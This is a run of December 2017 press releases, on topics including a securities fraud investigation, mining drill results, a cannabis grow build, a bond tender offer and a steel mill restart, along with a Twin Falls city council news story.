If you purchased or otherwise acquired BRS securities and wish to discuss this action, please contact the investigating attorney, Michael Dell'Angelo of Berger & Montague, P.C. at 800-424-6690 or 215-875-3080, via email at [email protected] or by submitting a report.

BRS, now known as Giant Gray, Inc., is a Texas software company. The complaint alleges that Davis engaged in a fraudulent scheme to raise money from BRS investors and then diverted the money for his personal use.

Between January 2013 and July 2015, through his control of BRS, Davis allegedly raised money from the company's investors by using offering documents with material misstatements and omissions. Davis is then alleged to have used shell companies called Blackstone Group Inc. and Afcon Communications Inc. to siphon millions of dollars from the investors' funds for his personal benefit. BRS's investors believed their money was being used on legitimate corporate outlays. In total, the complaint alleges that Davis defrauded investors out of about $30 million and embezzled more than $7 million from BRS.

Berger & Montague, P.C. is a nationally recognized, full-service plaintiffs' class action law firm specializing in securities, antitrust and other complex litigation on behalf of institutions and other investor and individual plaintiffs. Attorney advertising. Prior results do not guarantee similar outcomes.

SOURCE Berger & Montague, P.C.

Related Links

http://www.bergermontague.com


WASHINGTON, Dec. 19, 2017 /PRNewswire/ -- Surprise Ride is the latest in a group of highly successful subscription services to team up with a retail powerhouse. The start-up, which was featured on ABC's hit show Shark Tank, has partnered with leading crafts retailer Michaels to launch an exclusive retail collection of their off-screen activity kits for kids.

At a time when brick and mortar retailers are struggling, Rosy Khalife, COO and co-founder says, "Retailers are looking to startups to help them reinvigorate their offerings." Michaels isn't the first major retailer to adopt this trend. Target carries products from The Honest Company and Harry's Razors, both of which started as direct-to-consumer e-commerce companies with subscriptions.

Rosy started Surprise Ride with sister, Donna Khalife. In selecting Michaels as their first retail partner, Donna and Rosy said they wanted a company that would champion their product. "The brands align really nicely together," says Donna, CEO and co-founder. "It's about making and creating, and taking a break from the gadgets as a family."

Surprise Ride's hand-crafted activity kits are inspired by memories of Donna and Rosy's childhood. The dynamic sister duo grew up with an artist father who created homemade activities for them, which often led to fun shopping trips to Michaels.

In 2013, after launching Surprise Ride, the sisters were on the hit show Shark Tank where they didn't accept an offer from investor Robert Herjavec and left without a deal. In a surprising twist, they later made Shark Tank history by receiving an investment from Kevin O'Leary on Shark Tank spinoff Beyond the Tank. "Kevin sold his company to Mattel, so he really understands the space we're in: kids and education," says Rosy. "He was a huge part of our retail partnership. His expertise and input has helped throughout our journey."

"I was attracted to this company because I come from the kids education industry, and I know it's past due for being disrupted. The Michaels deal is a smart move for both companies," says O'Leary.

Offering Surprise Ride kits at Michaels offers families another convenient way to get their hands on the educational kits. Surprise Ride will continue an omni-channel approach to be where modern families need them to be.

Surprise Ride can be found in Michaels stores in select U.S. markets, and on Michaels.com nationwide.

About Surprise Ride

Surprise Ride, founded by sisters Rosy & Donna Khalife, designs activity kits that give kids a break from the gadgets to create, craft, and learn in the real world. Surprise Ride has brought to market 50+ products. The company has received accolades from parenting experts and appeared on ABC's Shark Tank, The View, The New York Times, Forbes, Tech.Co, and Star Magazine.

Contact: Bethany Mulcahy, 888-984-2779, [email protected]

SOURCE Surprise Ride

Related Links

https://www.surpriseride.com


To date, 11 holes have been executed from the 1070 level of the Yauricocha Mine in the Cuye area. These holes have intercepted polymetallic sulphide mineralization containing high-grade silver, zinc, copper and lead zones over significant widths. These results demonstrate the potential for high grade mineralization within the reported area, and more importantly indicate the continued existence of extensive mineralization at depth. These results come as part of an ongoing brownfield drilling program testing priority targets at the Yauricocha Mine, which is located 150 kilometers east-southeast of Lima in the Yauricocha Mining District (Cordillera Occidental), Peru.

Igor Gonzales, President and CEO of Sierra Metals stated: "Today's results represent the existence of high-grade polymetallic mineralization at the Northern extension of Cuye, and suggest the possibility of even further mineralization at depth specifically from the copper sulphide orebodies which contain significant widths as shown in figure 5." He continued, "The Central Mine area contains several high-grade mineralized areas opening the possibility for further discovery of additional orebodies along the Yauricocha fault. The Company has made a strong commitment to brownfield exploration in 2017 and results such as the ones released today continue to demonstrate that this investment is paying off with the potential to further grow our mineral resources and add high value tonnage. Brownfield drilling will continue into 2018 focusing on new discoveries and the expansion of areas within close proximity to our existing operations."

Alonso Lujan, Vice President, Exploration of Sierra Metals commented: "The results reported from Cuye demonstrate high-grade, sulphide mineralized sectors containing primarily silver, copper, lead and zinc as show in table 1 below. The potential still exists for further extensions, within the Cuye zone which remains open at depth.The exploration completed at depth demonstrates considerable widths and high-grade nature of these orebodies." He added, "It is important to mention that the current drill holes extended into the intrusive formation which was assayed for the first time and led to the identification of low-grade disseminated mineralization on the intrusive. (see the intercepts on Figures 4, and 5) where we intercepted 14 meters with 0.67% Cu, 14.6 meters with 0.27% Cu and 19 meters with 0.18% Cu. The significance of this information is that prior exploration programs at Yauricocha have not typically assayed the intrusive rocks, as the mineralization was considered to occur in the contact of the intrusive and the volcanics. The existence of disseminated copper mineralization in the intrusive rock formation opens a new exploration horizon previously unknown and a new interpretation of the sources of copper mineralization in the Yauricocha district."

All reported intercepts are core length as further drilling is required to determine true thicknesses.

A map of the Yauricocha Mine 1070 level (Central Mine) is shown in Figure 1. Figure 2 shows the location of the area explored and figures 3, 4 and 5 show the cross sections of the drill holes (Please note in figure 5 the width of the Copper sulphide orebody is more than 25 meters).

Table 1

Hole N From To Width

(m) Ag

(g/t) Pb

(%) Cu

(%) Zn

(%) Au

(g/t) Description CUY-17-17-05 165.90 175.00 9.10 18 0.02 1.08 0.13 0.75 Copper Sulphide CUY-17-17-06 232.00 238.00 6.00 81 0.09 1.48 8.05 0.40 Polymetallic Sulphide 256.00 259.60 3.60 7 0.01 0.24 3.78 0.23 Polymetallic Sulphide 262.00 265.40 3.40 7 0.01 0.20 2.05 0.13 Polymetallic Sulphide 271.00 273.00 2.00 10 0.01 0.15 1.49 0.18 Polymetallic Sulphide 276.30 277.80 1.50 5 0.02 0.11 1.29 0.13 Polymetallic Sulphide 287.20 290.85 3.65 32 0.31 0.21 6.40 0.15 Polymetallic Sulphide 292.90 293.90 1.00 48 0.19 0.10 1.04 0.16 Polymetallic Sulphide 302.60 305.00 2.40 38 0.00 2.27 0.11 0.90 Copper Sulphide CUY-17-17-07 251.00 268.00 15.50 17 0.01 1.68 0.35 0.46 Copper Sulphide CUY-17-17-08 188.00 191.00 3.00 16 0.03 0.36 3.49 0.65 Polymetallic Sulphide 193.00 194.90 1.90 16 0.06 0.45 0.64 0.32 Polymetallic Sulphide 194.90 195.45 0.55 48 0.11 0.01 0.52 0.43 Pyrite 195.45 205.00 6.05 15 0.02 0.92 0.41 0.25 Copper Sulphide CUY-17-17-09 282.00 289.40 6.50 93 1.66 0.45 5.18 0.35 Polymetallic Sulphide 290.70 290.90 0.20 155 1.98 0.72 9.01 0.11 Polymetallic Sulphide 299.00 303.00 4.00 35 0.04 1.80 0.38 0.73 Copper Sulphide 305.00 307.60 2.60 60 0.08 2.44 7.04 0.66 Polymetallic Sulphide 307.60 374.00 66.40 11 0.01 1.85 0.05 0.28 Copper Sulphide 375.00 382.00 4.00 75 1.52 1.04 5.25 0.06 Polymetallic Sulphide CUY-17-17-10 157.40 158.00 0.60 315 4.28 0.10 3.10 0.38 Polymetallic Sulphide

















175.10 183.50 8.40 65 0.79 0.07 1.36 0.22 Polymetallic Sulphide 191.80 207.40 15.60 91 0.59 0.41 4.39 0.13 Polymetallic Sulphide 215.40 216.30 0.90 21 0.04 0.15 21.50 0.15 Polymetallic Sulphide 234.00 249.00 15.00 13 0.03 0.56 3.15 0.46 Polymetallic Sulphide 249.00 293.00 44.00 9 0.00 1.43 0.10 0.61 Copper Sulphide CUY-17-17-11 103.80 104.50 0.70 16 0.02 0.12 14.75 0.18 Polymetallic Sulphide 173.50 178.10 4.60 27 0.02 1.35 0.12 0.74 Copper Sulphide

Quality Control

All samples were dried, crushed and pulverized by the Chumpe Lab at site, pulp samples were shipped by ALS Peru S.A. Lab Chemex) to their laboratory in Lima, Peru.

The quality assurance-quality control (QA-QC) program employed by Sierra Metals has been described in detail in the NI-43-101 report for Yauricocha dated December 9, 2016, prepared by SRK Consulting in Denver, which is available for review on Sedar. Standards and blanks are inserted into the sample stream and duplicate samples are sent to the ALS Peru S.A. lab (Chemex) in Lima as per internal quality control procedures.

Qualified Persons

The technical content of this news release has been reviewed and approved by Gordon Babcock P.Eng., Chief Operating Officer and a Qualified Person under National Instrument 43-101 Standards of Disclosure for Mineral Projects.

Americo Zuzunaga, MAusIMM CP (Mining Engineer) and Vice President of Corporate Planning is a Qualified Person and chartered professional qualifying as a Competent Person under the Joint Ore Reserves Committee (JORC) Australasian Code for Reporting of Exploration Results, Mineral Resources and Ore Reserves.

Augusto Chung, FAusIMM CP (Metallurgist) and Consultant to Sierra Metals is a Qualified Person and chartered professional qualifying as a Competent Person on metallurgical processes.

About Sierra Metals

Sierra Metals Inc. is Canadian based growing polymetallic mining company with production from its Yauricocha Mine in Peru, and its Bolivar and Cusi Mines in Mexico. The Company is focused on increasing production volume and growing mineral resources. Sierra Metals has recently had several new key discoveries and still has many more exciting brownfield exploration opportunities at all three Mines in Peru and Mexico that are within close proximity to the existing mines. Additionally, the Company also has large land packages at all three mines with several prospective regional targets providing longer term exploration upside and mineral resource growth potential.

The Company's Common Shares trade on the Bolsa de Valores de Lima and on the Toronto Stock Exchange under the symbol "SMT" and on the NYSE American Exchange under the symbol "SMTS".

Continue to Follow, Like and Watch our progress:

Web: www.sierrametals.com | Twitter: sierrametals | Facebook: SierraMetalsInc | LinkedIn: Sierra Metals Inc

Forward-Looking Statements

This press release contains "forward-looking information" and "forward-looking statements" within the meaning of Canadian and U.S. securities laws related to the Company (collectively, "forward-looking information"). Forward-looking information includes, but is not limited to, statements with respect to the Company's operations, including the anticipated developments in the Company's operations in future periods, the Company's planned exploration activities, the adequacy of the Company's financial resources, and other events or conditions that may occur in the future. Statements concerning mineral reserve and resource estimates may also be considered to constitute forward-looking statements to the extent that they involve estimates of the mineralization that will be encountered if and when the properties are developed or further developed. These statements relate to analyses and other information that are based on forecasts of future results, estimates of amounts not yet determinable and assumptions of management. Any statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, using words or phrases such as "expects", "anticipates", "plans", "projects", "estimates", "assumes", "intends", "strategy", "goals", "objectives", "potential" or variations thereof, or stating that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved, or the negative of any of these terms and similar expressions) are not statements of historical fact and may be forward-looking information.

Forward-looking information is subject to a variety of risks and uncertainties, which could cause actual events or results to differ from those reflected in the forward-looking information, including, without limitation, risks inherent in the mining industry including environmental hazards, industrial accidents, unusual or unexpected geological formations, floods, labour disruptions, explosions, cave-ins, weather conditions and criminal activity; commodity price fluctuations; higher operating and/or capital costs; lack of available infrastructure; the possibility that future exploration, development or mining results will not be consistent with the Company's expectations; risks associated with the estimation of mineral resources and the geology, grade and continuity of mineral deposits and the inability to replace reserves; fluctuations in the price of commodities used in the Company's operations; risks related to foreign operations; changes in laws or policies, foreign taxation, delays or the inability to obtain necessary governmental permits; risks relating to outstanding borrowings; issues regarding title to the Company's properties; risks related to environmental regulation; litigation risks; risks related to uninsured hazards; the impact of competition; volatility in the price of the Company's securities; global financial risks; inability to attract or retain qualified employees; potential conflicts of interest; risks related to a controlling group of shareholders; dependence on third parties; differences in U.S. and Canadian reporting of mineral reserves and resources; potential dilutive transactions; foreign currency risks; risks related to business cycles; liquidity risks; reliance on internal control systems; credit risks, including risks related to the Company's compliance with covenants with respect to its BCP Facility; uncertainty of production and cost estimates for the Yauricocha Mine, the Bolivar Mine and the Cusi Mine; and other risks identified in the Company's filings with Canadian securities regulators and the U.S. Securities and Exchange Commission ("SEC"), which filings are available at www.sedar.com and www.sec.gov, respectively.

This list is not exhaustive of the factors that may affect any of the Company's forward-looking information. Forward-looking information includes statements about the future and are inherently uncertain, and the Company's actual achievements or other future events or conditions may differ materially from those reflected in the forward-looking information due to a variety of risks, uncertainties and other factors. The Company's statements containing forward-looking information are based on the beliefs, expectations, and opinions of management on the date the statements are made, and the Company does not assume any obligation to update forward-looking information if circumstances or management's beliefs, expectations or opinions should change, other than as required by applicable law. For the reasons set forth above, one should not place undue reliance on forward-looking information.

Note Regarding Reserve and Resource Estimates

All reserve and resource estimates reported by the Company are calculated in accordance with the Canadian National Instrument 43-101 - Standards of Disclosure for Mineral Projects and the Canadian Institute of Mining and Metallurgy Classification system. These standards differ significantly from the requirements of the SEC. The differences between these standards are discussed in our SEC filings. Mineral resources which are not mineral reserves do not have demonstrated economic viability.

SOURCE Sierra Metals Inc.

Related Links

www.sierrametals.com


ALAMO, Calif., Dec. 19, 2017 /PRNewswire/ -- Social Detention Inc. (OTC Pink: SODE) is pleased to announce the company's wholly owned subsidiary, ELLA, will begin its first cannabis grow op build with partner Cann American Holdings.

The commercial build located in Hopland, California will be the second hoop house built on the client's location. The first one consists of approximately 200 plants with the new build expected to sustain a similar amount of marijuana plants.

ELLA will be responsible for trenching footings, setting rebar, and erecting the steel hoop frame for initial inspection. Upon completion ELLA will oversee the concrete pour and participate in the final inspection process. Cann American will be responsible for the irrigation system for which the company's Vice President holds a number of water operator licenses.

With California's recreational market rapidly approaching in 2018 and having reviewed the incoming cannabis laws and regulations SODE believes the ongoing partnership with Cann American will uniquely position all parties involved to seize significant market share within the marijuana industry as a premier infrastructure developer.

The project has already begun with initial grading of the location and is expected to be complete within 90 days.

Social Detention Inc. will continue to keep investors informed on progress.

About:

Social Detention Inc is in the business of building infrastructure. The company has been successful in winning contracts from $1-$5 million for its partners and intends to build on those successes with its acquisitions to grow sales from within, instead of for outside parties to gain contracts in the multi-millions.

For more information about Social Detention Inc. visit www.sodetention.com.

Contact:

Social Detention Inc.

Robert P. Legg II

[email protected]

Cann American Holdings, LLC is a Northern California based boutique firm of industry professionals specializing in consulting, business incubation, product placement, and acquisitions within the medical marijuana and industrial hemp markets.

Contact:

Jason Black

[email protected]

FORWARD LOOKING STATEMENTS

Except for historical information, this news release contains forward-looking statements, within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. These statements involve unknown risks, and uncertainties that may cause the Company's actual results or outcomes to be materially different from those anticipated and discussed herein. Important factors that might cause such differences are discussed in the Company's filings with the Securities and Exchange Commission. The Company disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. Actual results could differ materially from those anticipated in these forward-looking statements, if new information becomes available in the future.

SOURCE Social Detention Inc.

Related Links

http://www.sodetention.com


AUSTIN, Texas, Dec. 19, 2017 /PRNewswire/ -- SparkCognition was recently recognized as one of the "Best Entrepreneurial Companies in America" by Entrepreneur magazine's Entrepreneur 360 List, a premier study delivering the most comprehensive analysis of private companies in America. Based on this study forged by Entrepreneur, SparkCognition is recognized as a well-rounded company that has mastered a balance of impact, innovation, growth and leadership.

"The SparkCognition family is proud to be recognized on the Entrepreneur 360 List as one of the top private companies in the nation," said Amir Husain, SparkCognition's President and CEO. "This award encompasses SparkCognition's dedicated efforts to making a significant impact in AI and showcases the company's continuous growth and expansion."

Based in Austin, TX, SparkCognition has grown exponentially since its founding, becoming a global leader in the field of AI. Recently named to CB Insights AI 100 for the second year in a row, SparkCognition has distinguished itself as a highly-promising and renowned AI company. The company deploys AI technologies to help enterprise customers optimize business operations and secure data on a variety of critical assets.

"Our annual evaluation is a 360-degree analysis of top privately-held companies representing and serving a variety of industries," explains Lisa Murray, Chief Insights Officer of Entrepreneur Media, Inc. "These businesses are real-world case studies for any entrepreneur who seeks to master the four pillars that can greatly impact the longevity and growth of their businesses. With the Entrepreneur 360, success is measured by achieving balance throughout the entire organization, predicated by revenue."

Honorees were identified based on the results from a comprehensive study of independently- owned companies, using a proprietary algorithm and other advanced analytics. The algorithm was built on a balanced scorecard designed to measure four metrics reflecting major pillars of entrepreneurshipinnovation, growth, leadership and impact.

To learn more about SparkCognition visit sparkcognition.com.

For additional details on the E360 List and the companies recognized, visit: entrepreneur.com/360

About SparkCognition

A highly-awarded company recognized for cutting-edge artificial intelligence technology, SparkCognition offers business-critical solutions for enterprise customers in energy, oil and gas, manufacturing, finance, aerospace, telecommunications, defense, and security. For more information on the company, its technology and team, please visit http://www.sparkcognition.com.

About Entrepreneur Media Inc.

For nearly 40 years, Entrepreneur Media Inc. has been serving the entrepreneurial community providing comprehensive coverage of business and personal success through original content and events. Entrepreneur magazine, Entrepreneur.com, and publishing imprint Entrepreneur Press provide solutions, information, inspiration and education read by millions of entrepreneurs and small business owners worldwide.

To learn more, visit entrepreneur.com.Follow us on Twitter at @Entrepreneur and like us on Facebook at facebook.com/entmagazine.

For Media Inquiries:

John King

SparkCognition

[email protected]

512-956-5491

SOURCE SparkCognition

Related Links

http://www.sparkcognition.com


"Spirit AeroSystems would like to congratulate Bell Helicopter and Team Valor on achieving first flight of the V-280," said Krisstie Kondrotis, senior vice president of Spirit Defense. "Spirit is a proud member of Team Valor, providing the entire fuselage for the V-280 Air Vehicle Concept Demonstrator Competitive Prototype, and we look forward to supporting Bell and the U.S. Army to transform the future of vertical lift for all armed forces."

Spirit Defense designed and built the fuselage in just under 22 months at the company's Rapid Prototype facility in Wichita, Kansas. The fuselage is comprised of aluminum sub-structure with composite skins.

The Bell V-280 Valor program is part of the Joint Multi Role Technology Demonstrator (JMR-TD) initiative. The JMR-TD program is the science and technology precursor to the Department of Defense's Future Vertical Lift Program. Spirit is a member of Team Valor, comprised of 12 companies that bring the best of industry resources to the team.

Downloadable images of the first flight are available from Textron, Inc. here.

You can watch Spirit's timelapse build of the fuselage here.

On the web: www.spiritaero.com/support-services

On Twitter: @SpiritAero

About Spirit AeroSystems

Spirit AeroSystems designs and builds aerostructures for both commercial and defense customers. With headquarters in Wichita, Kansas, Spirit operates sites in the U.S., U.K., France and Malaysia. The company's core products include fuselages, pylons, nacelles and wing components for the world's premier aircraft. Spirit AeroSystems focuses on affordable, innovative composite and aluminum manufacturing solutions to support customers around the globe. More information is available at www.spiritaero.com.

SOURCE Spirit AeroSystems

Related Links

http://www.spiritaero.com


TWIN FALLS  Children walking to South Hills Middle School are improving their health and making their parents morning routines easier, but they may also be risking their safety. The city is attempting to alleviate some of those risks along roadways.

The school has presented an unusual situation for Twin Falls, City Engineer Jackie Fields told the City Council on Monday.

Children are walking for more than a mile to school, she said. When the weather is inclement, theyre not inclined to ruin their shoes by walking in the ditch.

Two projects proposed for state funding would create paths and sidewalk for children walking along Harrison Street and 3600 North. The city has already worked to enhance safety by reducing speed limits on nearby roads.

Prioritizing child safety is so important, Councilman Chris Talkington said.

The first project would pour 1,100 feet of sidewalk along 3600 North, from the entrance to the Skylane Trailer Park to a pedestrian crossing. Students would then cross a path constructed across school district property to the middle school parking lot. There would be a retaining wall along a portion of the project.

We tried to be as direct as possible, Fields said. Because when I was 12 years old, I never took the long way anywhere.

The next project would create a path along the east side of Harrison Street South from Orchard Drive to the sidewalk near El Camino Drive, with ramps at Orchard Drive and Harrison Street South.

The City Council voted Monday to allow the mayor to sign an application requesting $245,000 in leftover state funds to do the work. Additionally, Mayor Shawn Barigar was authorized to sign an application requesting more than $990,000 to reconstruct Locust Street North from Pole Line Road to North College Road.

If approved, the city wont have to pay anything for these projects, Fields said, but it will do the administrative work to get them underway and completed by November 2018.

Also at the meeting, Twin Falls resident and Idaho Rep. Lance Clow talked about the citys annual backflow device testing requirements for sprinkler systems using city water. Hed discovered the rationale for requiring yearly testing was that backflow device manufacturers guarantee the devices for only one year.

Clow said nearly every instance of a sprinkler system backing into the potable water system was because a device was installed incorrectly.

I intend this year to look at the plumbing rules and see if this one paragraph of this one rule can be rejected, he said.

Clow believes cities and counties should have the opportunity to mandate testing every three years instead, as an example.

The City Council will not meet next week because of the Christmas holiday. The next time it meets, Jan. 2, the Council will convene in the new City Hall Council Chambers, which can be accessed through the Main Avenue and Hansen Street entrances.
PARSIPPANY, N.J., Dec. 18, 2017 /PRNewswire/ -- Standard Industries Inc. ("Standard" or the "Company") today announced the results of its previously announced tender offer to purchase for cash (the "Tender Offer") any and all of its 51/ 8 % Senior Notes due 2021 (the "Notes"). The Tender Offer expired at 5:00 p.m., New York City time, on December 15, 2017 (the "Expiration Time"). As of the Expiration Time, valid tenders had been received with respect to $317,519,000 of the $500 million aggregate principal amount of the Notes outstanding, which excludes $3,775,000 aggregate principal amount of the Notes that remain subject to guaranteed delivery procedures.

The Company has accepted for payment all Notes validly tendered prior to the Expiration Time pursuant to the Tender Offer. On December 18, 2017, such tendering holders will receive the purchase price in the amount of $1,030.88 for each $1,000 principal amount of Notes tendered, plus accrued and unpaid interest to, but not including, the payment date. In addition, the Company will accept any additional Notes properly tendered by means of the guaranteed delivery procedures provided.

The Company also announced that it is calling for redemption all of the Notes, such redemption to occur on January 17, 2018 (the "Redemption Date") to the extent not tendered and accepted pursuant to the Tender Offer and to the extent outstanding on the Redemption Date. The notice of redemption was distributed to holders of the Notes on December 18, 2017. Neither the Offer to Purchase nor the accompanying Letter of Transmittal pursuant to which the Tender Offer was made constitutes a notice of redemption.

About Standard Industries Inc.

Standard Industries is a privately-held, global, diversified holding company with interests in building materials, aggregates, and related investment businesses in public equities and real estate. Founded in 1886, Standard Industries has over 15,000 employees and operations in more than 80 countries. Operating subsidiaries include: GAF, a leading North American roofing manufacturer; BMI, formed from the combination of Braas Monier and Icopal, a leading roofing and waterproofing company in Europe with significant presence in Asia and Africa; SGI, a leading North American aggregates and mining company supplying specialized products to the North American building materials industry; and Siplast, a provider of high-end modified bitumen membranes and liquid-applied roofing products.

Use of Forward-Looking Statements

This news release may contain "forward-looking statements" within the meaning of Section 21E of the Securities Exchange Act of 1934, as amended, and in the Private Securities Litigation Reform Act of 1995. Readers are cautioned not to place undue reliance on these forward-looking statements and any such forward-looking statements are qualified in their entirety by reference to the following cautionary statements. All forward-looking statements speak only as of the date of this news release and are based on current expectations and involve a number of assumptions, risks and uncertainties that could cause the actual results to differ materially from such forward-looking statements. Standard disclaims any obligation to update or revise any forward-looking statements.

Standard Investor Contact: John Gianukakis, Treasurer 212-821-1657 [email protected] Standard Media Contact: Calvin Mitchell, Global Head of Communications 212-821-1594 [email protected]

SOURCE Standard Industries Inc.
LYNDHURST, N.J., Dec. 19, 2017 /PRNewswire/ -- Scarinci Hollenbeck (www.sh-law.com) is proud to announce that Nathanya G. Simon, a State-leading Special Education attorney for nearly 40 years, has joined the firm as partner. Ms. Simon will be located in Scarinci Hollenbeck's Lyndhurst, NJ Law Office where she will help lead the firm's Education Law group. With an emphasis on Special Education, Ms. Simon will also provide legal guidance in a myriad of issues pertaining to school board representation matters and other related areas of Education Law. Regarded as a pioneer in her field of expertise, Ms. Simon's experience adds significant depth to Scarinci Hollenbeck's growing Education Law practice.

Nathanya G. Simon, Esq., NJ Special Education Attorney

"Having established herself as the preeminent Special Education Law attorney in New Jersey, it is both an honor and a privilege to welcome Nathanya to Scarinci Hollenbeck. With her wide breadth of experience, I am confident that she will be a welcome and positive addition to our Education Law practice," said John Geppert, chair of the firm's Education Law group.

Trailblazer in New Jersey Special Education Law

Prior to joining Scarinci Hollenbeck, Ms. Simon was a partner at Schwartz, Simon, Edelstein & Celso in Whippany, NJ, where she made herself known as a pioneer in the field of Special Education Law. Ms. Simon played a major role in the firm's school board representation in all legal, labor and special education matters. In addition, she was consistently offered the opportunity to counsel New Jersey school board clients ranging from day-to-day matters to complex special education litigation.

Reflecting on her years in the practice, Ms. Simon stated, "Since special education is a very specialized and complex area of the law, there is no substitute for experience. It is only with years of experience that an attorney can understand the nuances of the procedural and substantive aspects of special education laws and cases. I look forward to bringing my expertise over to Scarinci Hollenbeck and being a part of the firm's Education Law group."

A Growing Special Education Law Practice

Scarinci Hollenbeck's Education Law practice has seen tremendous growth over the last year with the most recent addition being Carolyn R. Chaudry. Ms. Chaudry is a former colleague of Nathanya Simon's also from Schwartz Simon Edelstein & Celso. With the two reunited, Scarinci Hollenbeck has successfully organized one of the premier Special Education Law practices in New Jersey.

For more information on Nathanya G. Simon and Scarinci Hollenbeck's Education Law practice, please visit: www.sh-law.com/attorneys/nathanya-g-simon

About Scarinci Hollenbeck

With a growing practice of more than 60 experienced attorneys, Scarinci Hollenbeck is a regional alternative to a National 250 law firm. Named among NJBiz's 2017 Best Places to Work list, we have offices in New Jersey, New York City, the District of Columbia, and now San Francisco, California. We serve the niche practice areas most often required by institutions, corporations, entities, and the people who own and control them. We offer a full range of services necessary to assist clients in public law. We have developed our public law practice with the expertise and specialization necessary to serve our public sector clients in a cost-effective and professional manner. We apply this approach in our work on the behalf of the numerous public sector clients we represent. More information on our firm's expertise and range of practice can be found on our website: www.sh-law.com.

Contact: Peter Moeller

Telephone: 201-896-4100

Email: [email protected]

SOURCE Scarinci Hollenbeck, LLC

Related Links

http://www.sh-law.com


LOS ANGELES, Dec. 19, 2017 /PRNewswire/ -- Dr. Norman Quintero released the following statement criticizing the Republican-controlled United States Senate and United States House of Representatives for their passage of Tax Reform.

Dr. Quintero has a long history as a community advocate.

"After forcing the GOP tax bill through the Senate in the middle of the night, House and Senate Republicans conference ironed out their differences and agreed on a plan that provided a major tax cut to corporations. It would hike taxes on millions of families and raises health insurance premiums, ships good-paying American jobs overseas and hurts generations to come with exploding debt," added Dr. Quintero.

"This tax plan will hurt our economy rather than benefit the hard-working people of the United States," said Dr. Norman Quintero. According to the Congressional Budget Office (CBO) this tax plan will leave 13 million Americans without health insurance by year 2027. The average individual with ages 50 to 64 will face insurance premium increases up to $1500.00 in 2019 according to an AARP Public Policy Institute Analysis. "This Tax Reform does not provide a tangible benefit to the hard-working class of the United States. It only provides a tangible benefit for the wealthy 1 percent," Dr. Quintero added.

According to the Tax Policy Center's analysis, in 2019, households across the board will save on taxes under the Senate's version of the bill. Those in the lowest quintile, with incomes below $25,000, would get an average tax cut of $40, while middle-income households earning between $50,000 and $87,000 would get an average tax cut of about $800, according to the Tax Policy Center. "The only responsible choice is to abandon this bill and join Democrats to enact real tax reform that puts the middle class first," continued Dr. Quintero.

For the top 1 percent of households  those whose income exceeds $750,000  taxes would fall by an average of $28,000, the Tax Policy Center found. But consumers may not benefit in the long haul. The Senate's tax cuts become less generous by 2027, averaging out to about $300, according to the Tax Policy Center. This is because nearly all the individual income tax provisions expire after 2025.

"The American people deserve better than this trickle-down product. Hard-working men and women in every corner of the country will hold their representatives accountable if they do not walk away from this vote to raise taxes on their own constituents," ended Dr. Norman Quintero.

ABOUT NORMAN QUINTERO:

Dr. Norman Quintero was born in the Island of Puerto Rico and holds 2 doctorate degrees. He is a licensed real estate broker in Florida and California. He is a Mental Health Clinician in the State of California working in a clinic in the City of Menifee. He owns radio and television Hispanic networks and host a weekly nationwide television show. He is also the pastor of Iglesia Getsemani located in Orange County, California. He has a long history of community activism both in Florida and California.

For More Information contact:

Dr. Norman Quintero  (561) 537-1986

Martin Camacho  (817) 209-9184

Source Links:

This tax plan will leave 13 million Americans without health insurance by year 2027:

https://www.cbo.gov/system/files/115th-congress-2017-2018/reports/53300-individualmandate.pdf - Page 1 and Table 2.

The average individual with ages 50 to 64 will face insurance premium increases up to $1500.00 in 2019 according to an AARP Public Policy Institute Analysis:

https://www.aarp.org/politics-society/advocacy/info-2017/senate-tax-premiums-fd.html and http://blog.aarp.org/2017/11/21/health-provision-in-new-tax-bill-higher-premiums-and-loss-of-health-coverage-for-older-adults/

In 2019, households across the board will save on taxes under the Senate's version of the bill. Those in the lowest quintile, with incomes below $25,000, would get an average tax cut of $40, while middle-income households earning between $50,000 and $87,000 would get an average tax cut of about $800, according to the Tax Policy Center:

http://www.taxpolicycenter.org/publications/effects-tax-cuts-and-jobs-act-representative-families/full

For the top 1 percent of households  those whose income exceeds $750,000  taxes would fall by an average of $28,000, the Tax Policy Center found. But consumers may not benefit in the long haul. The Senate's tax cuts become less generous by 2027, averaging out to about $300, according to the Tax Policy Center. This is because nearly all the individual income tax provisions expire after 2025:

http://www.taxpolicycenter.org/publications/effects-tax-cuts-and-jobs-act-representative-families/full

Related Images

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image2.jpg

Dr. Norman Quintero

Related Video

http://www.youtube.com/watch?v=RTwtJ2MfIOs

SOURCE Doctor Norman Quintero
PITTSBURGH, Dec. 18, 2017 /PRNewswire-USNewswire/ -- The United Steelworkers (USW) today said that the union and members of Local 7898 at the rod and wire mill in Georgetown, S.C., are looking forward to restarting production now that Liberty Steel has completed its acquisition of the facility from ArcelorMittal.

USW District 1 Director David McCall, who chairs negotiations with ArcelorMittal, said that workers at the mill, which ArcelorMittal idled in 2015 when the company announced its decision to exit the rod and wire business, should begin returning to their jobs in early 2018.

"Our track record of operating the Georgetown steelworks productively and profitably for generations under different employers speaks for itself," McCall said. "Given a level playing field, there's no question that American steelworkers can compete with anyone, anywhere."

USW District 9 Director Daniel Flippo said that the union established a good relationship with Liberty management during successful negotiations on a collective bargaining agreement to facilitate the restart.

"We are very proud that USW members have this opportunity to go back to work with a fair contract that provides wages, pensions and benefits in line with the industry pattern," Flippo said. "Liberty's commitment to operate and invest in Georgetown shows great faith in our members, and we are dedicated to ensure that trust is rewarded."

Local 7898 President James Sanderson said that workers, their families and the community will all benefit from the mill's restart.

"I cannot overstate what an important, positive development it is that Liberty Steel has chosen Georgetown as the starting point for its strategic expansion into North America," Sanderson said. "The mill has provided good jobs for decades, and we hope that successfully restoring production will enable future generations of steelworkers to support their families and sustain the growth of our community."

The USW represents 850,000 men and women employed in manufacturing, metals, mining, pulp and paper, rubber, chemicals, glass, auto supply and the energy-producing industries, along with a growing number of workers in public sector and service occupations.

More information, contact: Tony Montana  (412) 562-2592; [email protected]

SOURCE United Steelworkers (USW)

Related Links

http://www.usw.org


NEW YORK, Dec. 19, 2017 /PRNewswire/ -- StockTwits, the largest social platform for traders and investors, has announced it is launching redesigned web and mobile sites, and is adding a new feature called Discover that will curate important stock information and highlight the best of the over 1 million member community.

